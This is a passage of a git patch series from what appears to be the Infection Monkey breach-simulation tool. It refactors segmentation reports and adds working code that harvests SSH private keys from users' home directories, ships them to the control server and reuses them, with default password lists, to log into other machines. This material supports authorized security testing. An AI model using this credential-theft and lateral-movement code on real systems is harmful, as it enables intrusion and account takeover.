%r", self._ranges) def _get_inaccessible_subnets_ips(self): + """ + For each of the machine's IPs, checks if it's in one of the subnet groups specified in the + 'inaccessible_subnet_groups' config value. If so, all other subnets in the same group shouldn't be accessible. + All these subnets are returned. + :return: A list of subnets that shouldn't be accessible from the machine the monkey is running on. + """ subnets_to_scan = [] for subnet_group in WormConfiguration.inaccessible_subnet_groups: for subnet_str in subnet_group: diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 1b6aaac75..a4dcb7f57 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -313,7 +313,14 @@ class ReportService: return issues @staticmethod - def get_cross_segment_ip(ip_addresses, source_subnet, target_subnet): + def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): + """ + Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. + :param ip_addresses: List of IP addresses to test. + :param source_subnet: Subnet to want an IP to not be in. + :param target_subnet: Subnet we want an IP to be in. + :return: + """ for ip_address in ip_addresses: if target_subnet.is_in_range(ip_address): return None @@ -324,6 +331,13 @@ class ReportService: @staticmethod def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): + """ + Gets list of cross segment issues from source_subnet to target_subnet. + :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + :param source_subnet: The subnet which shouldn't be able to access target_subnet. + :param target_subnet: The subnet which shouldn't be accessible from source_subnet. + :return: + """ if source_subnet == target_subnet: return [] source_subnet_range = NetworkRange.get_range_obj(source_subnet) @@ -335,8 +349,10 @@ class ReportService: target_ip = scan['data']['machine']['ip_addr'] if target_subnet_range.is_in_range(unicode(target_ip)): monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) - cross_segment_ip = ReportService.get_cross_segment_ip(monkey['ip_addresses'], source_subnet_range, - target_subnet_range) + cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], + source_subnet_range, + target_subnet_range) + if cross_segment_ip is not None: cross_segment_issues.append( { @@ -350,6 +366,12 @@ class ReportService: @staticmethod def get_cross_segment_issues_per_subnet_group(scans, subnet_group): + """ + Gets list of cross segment issues within given subnet_group. + :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + :param subnet_group: List of subnets which shouldn't be accessible from each other. + :return: Cross segment issues regarding the subnets in the group. + """ cross_segment_issues = [] for subnet_pair in itertools.product(subnet_group, subnet_group): From ee835d51b009d87ceda98affe7f3e3830d395694 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 23 May 2018 15:22:27 +0300 Subject: [PATCH 026/137] Remove Monkey testing code, dead code as it is. --- infection_monkey/requirements.txt | 2 -- infection_monkey/test/__init__.py | 0 infection_monkey/test/config__test.py | 45 --------------------------- 3 files changed, 47 deletions(-) delete mode 100644 infection_monkey/test/__init__.py delete mode 100644 infection_monkey/test/config__test.py diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index d5c1455dd..8683987c4 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -13,6 +13,4 @@ PyInstaller six ecdsa netifaces -mock -nose ipaddress diff --git a/infection_monkey/test/__init__.py b/infection_monkey/test/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/infection_monkey/test/config__test.py b/infection_monkey/test/config__test.py deleted file mode 100644 index accdd5a49..000000000 --- a/infection_monkey/test/config__test.py +++ /dev/null @@ -1,45 +0,0 @@ -# -*- coding: UTF-8 -*- -# NOTE: Launch all tests with `nosetests` command from infection_monkey dir. - -import json -import unittest - -from mock import Mock, patch - -import control - -from config import GUID - - -class ReportConfigErrorTestCase(unittest.TestCase): - """ - When unknown config variable received form the island server, skip it and report config - error back to the server. - """ - - config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}})) - - def teardown(self): - patch.stopall() - - def test_config(self): - patch('control.requests.patch', Mock()).start() - patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start() - - # GIVEN the server with uknown config variable - patch('control.requests.get', Mock(return_value=self.config_response)).start() - - # WHEN monkey tries to load config from server - control.ControlClient.load_control_config() - - # THEN she reports config error back to the server - control.requests.patch.assert_called_once_with( - "https://127.0.0.1:123/api/monkey/%s" % GUID, - data=json.dumps({'config_error': True}), - headers={'content-type': 'application/json'}, - verify=False, - proxies=control.ControlClient.proxies) - - -if __name__ == '__main__': - unittest.main() From d831769d1fec1afd5d97a34c5c457d508fe8e333 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 18:06:30 +0300 Subject: [PATCH 027/137] Fix CR --- monkey_island/cc/services/config.py | 11 +++- monkey_island/cc/services/report.py | 61 +++++++++++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 13 ++-- 3 files changed, 74 insertions(+), 11 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8294e0bb3..5bddc1901 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -241,9 +241,14 @@ SCHEMA = { "default": [ ], "description": - "List of IP/subnet groups. Each group should consist of subnets that aren't supposed" - " to be accessible to one another. If the monkey is in one subnet it'll scan the other" - " subnets in the same group." + "You can use this feature to test for network segmentation, by proving lists of" + " IP/subnet groups that should not be accessible to each other. Each input group" + " consists of subnets that should not be accessible to each other. If the Monkey" + " is inside of one of the subnets it will attempt to connect to machines in the" + " other subnet." + " Example, by providing input 192.168.1.0/24, 192.168.2.0/24, 192.168.3.1-192.168.3.10," + " a Monkey with the IP address 192.168.2.5 will try to access machines inside" + " 192.168.1.0/24 or 192.168.3.1-192.168.3.10." } } } diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index a4dcb7f57..ba2fc56b3 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,4 +1,5 @@ import itertools +import functools import ipaddress from enum import Enum @@ -329,11 +330,52 @@ class ReportService: return ip_address return None + @staticmethod + def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range): + """ + Gets list of cross segment issues of a single machine. Meaning a machine has an interface for each of the + subnets. + :param source_subnet_range: The subnet range which shouldn't be able to access target_subnet. + :param target_subnet_range: The subnet range which shouldn't be accessible from source_subnet. + :return: + """ + cross_segment_issues = [] + + for monkey in mongo.db.monkey.find({}, {'ip_addresses': 1, 'hostname': 1}): + ip_in_src = None + ip_in_dst = None + for ip_addr in monkey['ip_addresses']: + if source_subnet_range.is_in_range(unicode(ip_addr)): + ip_in_src = ip_addr + break + + # No point searching the dst subnet if there are no IPs in src subnet. + if not ip_in_src: + continue + + for ip_addr in monkey['ip_addresses']: + if target_subnet_range.is_in_range(unicode(ip_addr)): + ip_in_dst = ip_addr + break + + if ip_in_dst: + cross_segment_issues.append( + { + 'source': ip_in_src, + 'hostname': monkey['hostname'], + 'target': ip_in_dst, + 'services': None, + 'is_self': True + }) + + return cross_segment_issues + @staticmethod def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): """ Gets list of cross segment issues from source_subnet to target_subnet. :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + This should be a PyMongo cursor object. :param source_subnet: The subnet which shouldn't be able to access target_subnet. :param target_subnet: The subnet which shouldn't be accessible from source_subnet. :return: @@ -345,6 +387,7 @@ class ReportService: cross_segment_issues = [] + scans.rewind() # If we iterated over scans already we need to rewind. for scan in scans: target_ip = scan['data']['machine']['ip_addr'] if target_subnet_range.is_in_range(unicode(target_ip)): @@ -359,16 +402,19 @@ class ReportService: 'source': cross_segment_ip, 'hostname': monkey['hostname'], 'target': target_ip, - 'services': scan['data']['machine']['services'] + 'services': scan['data']['machine']['services'], + 'is_self': False }) - return cross_segment_issues + return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine( + source_subnet_range, target_subnet_range) @staticmethod def get_cross_segment_issues_per_subnet_group(scans, subnet_group): """ Gets list of cross segment issues within given subnet_group. :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + This should be a PyMongo cursor object. :param subnet_group: List of subnets which shouldn't be accessible from each other. :return: Cross segment issues regarding the subnets in the group. """ @@ -405,8 +451,15 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() \ - + ReportService.get_island_cross_segment_issues() + ReportService.get_azure_issues() + ISSUE_GENERATORS = [ + ReportService.get_exploits, + ReportService.get_tunnels, + ReportService.get_island_cross_segment_issues, + ReportService.get_azure_issues + ] + + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) + issues_dict = {} for issue in issues: machine = issue['machine'] diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index d92b06f7d..278d6152f 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -456,10 +456,15 @@ class ReportPageComponent extends AuthComponent {
      {crossSegmentIssue['issues'].map(x => -
    • - {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] - + ' using the services: ' + Object.keys(x['services']).join(', ')} -
    • + x['is_self'] ? +
    • + {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']} +
    • + : +
    • + {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] + + ' using the services: ' + Object.keys(x['services']).join(', ')} +
    • )}
    From 4197ab12a39e184a3d68cac7de99c54cb1ed3d22 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 24 May 2018 16:59:22 +0300 Subject: [PATCH 028/137] SSH keys are now encrypted and added to database --- infection_monkey/config.py | 1 + .../system_info/SSH_info_collector.py | 27 +++++++------ monkey_island/cc/resources/telemetry.py | 21 +++++++++- monkey_island/cc/services/config.py | 39 +++++++++++++++++-- 4 files changed, 71 insertions(+), 17 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 41ecd1d91..1f5fce4b1 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -251,6 +251,7 @@ class Configuration(object): exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_lm_hash_list = [] exploit_ntlm_hash_list = [] + exploit_ssh_keys = [] # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 12ff7df02..12244abac 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -1,6 +1,5 @@ import logging import pwd -import sys import os import glob @@ -36,13 +35,13 @@ class SSHCollector(object): possibly hashed) """ return {'name': name, 'home_dir': home_dir, 'public_key': None, - 'private_key': None, 'known_hosts': None} + 'private_key': None, 'known_hosts': None} @staticmethod def get_home_dirs(): - root_dir = SSHCollector.get_ssh_struct('root', '/') - home_dirs = [SSHCollector.get_ssh_struct(x.pw_name,x.pw_dir) for x in pwd.getpwall() - if x.pw_dir.startswith('/home')] + root_dir = SSHCollector.get_ssh_struct('root', '') + home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() + if x.pw_dir.startswith('/home')] home_dirs.append(root_dir) return home_dirs @@ -54,14 +53,16 @@ class SSHCollector(object): if os.path.isdir(path + directory): try: current_path = path + directory - # searching for public key - if glob.glob(current_path+'*.pub'): - public = (glob.glob(current_path+'*.pub')[0]) + # Searching for public key + if glob.glob(os.path.join(current_path, '*.pub')): + # Getting first file in current path with .pub extension(public key) + public = (glob.glob(os.path.join(current_path, '*.pub'))[0]) LOG.info("Found public key in %s" % public) try: with open(public) as f: info['public_key'] = f.read() - private = public.rsplit('.', 1)[0] + # By default private key has the same name as public, only without .pub + private = os.path.splitext(public)[0] if os.path.exists(private): try: with open(private) as f: @@ -69,11 +70,13 @@ class SSHCollector(object): LOG.info("Found private key in %s" % private) except (IOError, OSError): pass - if os.path.exists(current_path + '/known_hosts'): + # By default known hosts file is called 'known_hosts' + known_hosts = os.path.join(current_path, 'known_hosts') + if os.path.exists(known_hosts): try: - with open(current_path + '/known_hosts') as f: + with open(known_hosts) as f: info['known_hosts'] = f.read() - LOG.info("Found known_hosts in %s" % current_path+'/known_hosts') + LOG.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass except (IOError, OSError): diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 6095b0946..452a33818 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -167,6 +167,10 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_system_info_telemetry(telemetry_json): + if 'ssh_info' in telemetry_json['data']: + ssh_info = telemetry_json['data']['ssh_info'] + Telemetry.encrypt_system_info_creds({}, ssh_info) + Telemetry.add_system_info_creds_to_config({}, ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) @@ -186,15 +190,20 @@ class Telemetry(flask_restful.Resource): creds[new_user] = creds.pop(user) @staticmethod - def encrypt_system_info_creds(creds): + def encrypt_system_info_creds(creds, ssh_info=None): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: # this encoding is because we might run into passwords which are not pure ASCII creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) + if ssh_info: + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) @staticmethod - def add_system_info_creds_to_config(creds): + def add_system_info_creds_to_config(creds, ssh_info=None): for user in creds: ConfigService.creds_add_username(user) if 'password' in creds[user]: @@ -203,6 +212,14 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) if 'ntlm_hash' in creds[user]: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + if ssh_info: + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key']) + + @staticmethod def encrypt_exploit_creds(telemetry_json): diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..2ffc990a9 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,6 +1,7 @@ import copy import collections import functools +import json from jsonschema import Draft4Validator, validators from cc.database import mongo @@ -504,6 +505,13 @@ SCHEMA = { }, "default": [], "description": "List of NTLM hashes to use on exploits using credentials" + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "description": "List of SSH key pairs to use, when trying to ssh into servers" } } }, @@ -800,7 +808,8 @@ ENCRYPTED_CONFIG_ARRAYS = \ [ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], - ['internal', 'exploits', 'exploit_ntlm_hash_list'] + ['internal', 'exploits', 'exploit_ntlm_hash_list'], + ['internal', 'exploits', 'exploit_ssh_keys'] ] @@ -888,6 +897,11 @@ class ConfigService: def creds_add_ntlm_hash(ntlm_hash): ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) + @staticmethod + def ssh_add_keys(public_key, private_key): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', + {"public_key": public_key, "private_key": private_key}) + @staticmethod def update_config(config_json, should_encrypt): if should_encrypt: @@ -979,7 +993,11 @@ class ConfigService: keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): - flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] + # Check if we are decrypting ssh key pair + if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: + flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] + else: + flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] else: flat_config[key] = encryptor.dec(flat_config[key]) return flat_config @@ -992,4 +1010,19 @@ class ConfigService: config_arr = config_arr[config_key_part] for i in range(len(config_arr)): - config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + # Check if array of shh key pairs and then decrypt + if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: + config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ + ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + else: + config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + + @staticmethod + def decrypt_ssh_key_pair(pair, encrypt=False): + if encrypt: + pair['public_key'] = encryptor.enc(pair['public_key']) + pair['private_key'] = encryptor.enc(pair['private_key']) + else: + pair['public_key'] = encryptor.dec(pair['public_key']) + pair['private_key'] = encryptor.dec(pair['private_key']) + return pair From 5f194b70f2cf68f731fd92f6c5cac49fd506d3ee Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 24 May 2018 17:11:45 +0300 Subject: [PATCH 029/137] Unecessary import fixed --- monkey_island/cc/services/config.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2ffc990a9..1188c7d1e 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,7 +1,6 @@ import copy import collections import functools -import json from jsonschema import Draft4Validator, validators from cc.database import mongo From f45cebfd5ec8ea4e93a405170c69f49d2ecfe4a7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 25 May 2018 01:34:24 +0300 Subject: [PATCH 030/137] Does not store encrypted or already present ssh keys, shows all users from whom SSH private key were stolen under "stolen credentials" in report --- .../system_info/SSH_info_collector.py | 14 +++++++++--- monkey_island/cc/resources/telemetry.py | 10 ++++++++- monkey_island/cc/services/config.py | 14 +++++++++--- monkey_island/cc/services/report.py | 22 +++++++++++++++++++ .../cc/ui/src/components/pages/ReportPage.js | 2 +- 5 files changed, 54 insertions(+), 8 deletions(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 12244abac..af1915e4d 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -60,14 +60,19 @@ class SSHCollector(object): LOG.info("Found public key in %s" % public) try: with open(public) as f: - info['public_key'] = f.read() + info['public_key'] = f.read() # By default private key has the same name as public, only without .pub private = os.path.splitext(public)[0] if os.path.exists(private): try: with open(private) as f: - info['private_key'] = f.read() - LOG.info("Found private key in %s" % private) + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find('ENCRYPTED') == -1: + info['private_key'] = private_key + LOG.info("Found private key in %s" % private) + else: + continue except (IOError, OSError): pass # By default known hosts file is called 'known_hosts' @@ -79,6 +84,9 @@ class SSHCollector(object): LOG.info("Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass + # If private key found don't search more + if info['private_key']: + break except (IOError, OSError): pass except OSError: diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 452a33818..ec05558d8 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -170,6 +170,8 @@ class Telemetry(flask_restful.Resource): if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_creds({}, ssh_info) + if telemetry_json['data']['network_info']['networks']: + Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) Telemetry.add_system_info_creds_to_config({}, ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] @@ -177,6 +179,11 @@ class Telemetry(flask_restful.Resource): Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) + @staticmethod + def add_ip_to_ssh_keys(ip, ssh_info): + for key in ssh_info: + key['ip'] = ip['addr'] + @staticmethod def process_trace_telemetry(telemetry_json): # Nothing to do @@ -217,7 +224,8 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_username(user['name']) # Public key is useless without private key if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key']) + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 1188c7d1e..46773c0fb 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -897,9 +897,17 @@ class ConfigService: ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) @staticmethod - def ssh_add_keys(public_key, private_key): - ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', - {"public_key": public_key, "private_key": private_key}) + def ssh_add_keys(public_key, private_key, user, ip): + if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal'], False, False) + ['exploits']['exploit_ssh_keys'], + user, ip): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', + {"public_key": public_key, "private_key": private_key, + "user": user, "ip": ip}) + + @staticmethod + def ssh_key_exists(keys, user, ip): + return [key for key in keys if key['user'] == user and key['ip'] == ip] @staticmethod def update_config(config_json, should_encrypt): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f77e96dd9..0ceadc26b 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -149,6 +149,27 @@ class ReportService: ) return creds + @staticmethod + def get_ssh_keys(): + """ + Return private ssh keys found as credentials + :return: List of credentials + """ + creds = [] + for telem in mongo.db.telemetry.find( + {'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, + {'data.ssh_info': 1, 'monkey_guid': 1} + ): + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + if telem['data']['ssh_info']: + # Pick out all ssh keys not yet included in creds + ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} for key_pair in telem['data']['ssh_info'] + if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} not in creds] + creds.extend(ssh_keys) + return creds + @staticmethod def get_azure_creds(): """ @@ -433,6 +454,7 @@ class ReportService: 'exploited': ReportService.get_exploited(), 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), + 'ssh_keys': ReportService.get_ssh_keys() }, 'recommendations': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index bec4f3625..393b1cc74 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -414,7 +414,7 @@ class ReportPageComponent extends AuthComponent {
    - +
    ); From 30a3bbf9a0462a58f357ba4c1b836410e2ad7460 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 29 May 2018 01:02:49 +0300 Subject: [PATCH 031/137] Exploitation of machines using ssh keys added. Also, added shh keys exploitation to report --- infection_monkey/config.py | 6 +++ infection_monkey/example.conf | 1 + infection_monkey/exploit/__init__.py | 4 +- infection_monkey/exploit/sshexec.py | 32 +++++++++++++++- monkey_island/cc/resources/telemetry.py | 38 ++++++++++--------- monkey_island/cc/services/report.py | 19 ++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 24 +++++++++++- 7 files changed, 98 insertions(+), 26 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 1f5fce4b1..c5421fb83 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -233,6 +233,12 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_password_list) + def get_exploit_user_ssh_key_pairs(self): + """ + :return: All combinations of the configurations users and ssh pairs + """ + return product(self.exploit_user_list, self.exploit_ssh_keys) + def get_exploit_user_password_or_hash_product(self): """ Returns all combinations of the configurations users and passwords or lm/ntlm hashes diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..51a108e5d 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -67,6 +67,7 @@ "exploit_password_list": [], "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], "sambacry_trigger_timeout": 5, "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_shares_not_to_check": ["IPC$", "print$"], diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 379d2bd92..a05f5b079 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -24,9 +24,9 @@ class HostExploiter(object): {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, 'info': self._exploit_info, 'attempts': self._exploit_attempts}) - def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''): + def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): self._exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) + 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) @abstractmethod def exploit_host(self): diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index b93970ca9..2209a0685 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import logging import time import paramiko +import StringIO import monkeyfs from exploit import HostExploiter @@ -46,9 +47,38 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() exploited = False + + for user, ssh_key_pair in user_ssh_key_pairs: + # Creating file-like private key for paramiko + pkey = StringIO.StringIO(ssh_key_pair['private_key']) + ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) + try: + pkey = paramiko.RSAKey.from_private_key(pkey) + except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): + LOG.error("Failed reading ssh key") + try: + ssh.connect(self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=None) + LOG.debug("Successfully logged in %s using %s users private key", + self.host, ssh_string) + self.report_login_attempt(True, user, ssh_key=ssh_string) + exploited = True + break + except Exception as exc: + LOG.debug("Error logging into victim %r with %s" + " private key", self.host, + ssh_string) + self.report_login_attempt(False, user, ssh_key=ssh_string) + continue + + user_password_pairs = self._config.get_exploit_user_password_pairs() + for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index ec05558d8..540802ca1 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -130,7 +130,7 @@ class Telemetry(flask_restful.Resource): for attempt in telemetry_json['data']['attempts']: if attempt['result']: found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash']: + for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: if len(attempt[field]) != 0: found_creds[field] = attempt[field] NodeService.add_credentials_to_node(edge['to'], found_creds) @@ -169,10 +169,10 @@ class Telemetry(flask_restful.Resource): def process_system_info_telemetry(telemetry_json): if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] - Telemetry.encrypt_system_info_creds({}, ssh_info) + Telemetry.encrypt_system_info_ssh_keys(ssh_info) if telemetry_json['data']['network_info']['networks']: Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) - Telemetry.add_system_info_creds_to_config({}, ssh_info) + Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) @@ -197,20 +197,22 @@ class Telemetry(flask_restful.Resource): creds[new_user] = creds.pop(user) @staticmethod - def encrypt_system_info_creds(creds, ssh_info=None): + def encrypt_system_info_creds(creds): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: # this encoding is because we might run into passwords which are not pure ASCII creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) - if ssh_info: - for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: - if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) @staticmethod - def add_system_info_creds_to_config(creds, ssh_info=None): + def encrypt_system_info_ssh_keys(ssh_info): + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) + + @staticmethod + def add_system_info_creds_to_config(creds): for user in creds: ConfigService.creds_add_username(user) if 'password' in creds[user]: @@ -219,15 +221,15 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) if 'ntlm_hash' in creds[user]: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) - if ssh_info: - for user in ssh_info: - ConfigService.creds_add_username(user['name']) - # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) - + @staticmethod + def add_system_info_ssh_keys_to_config(ssh_info): + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + 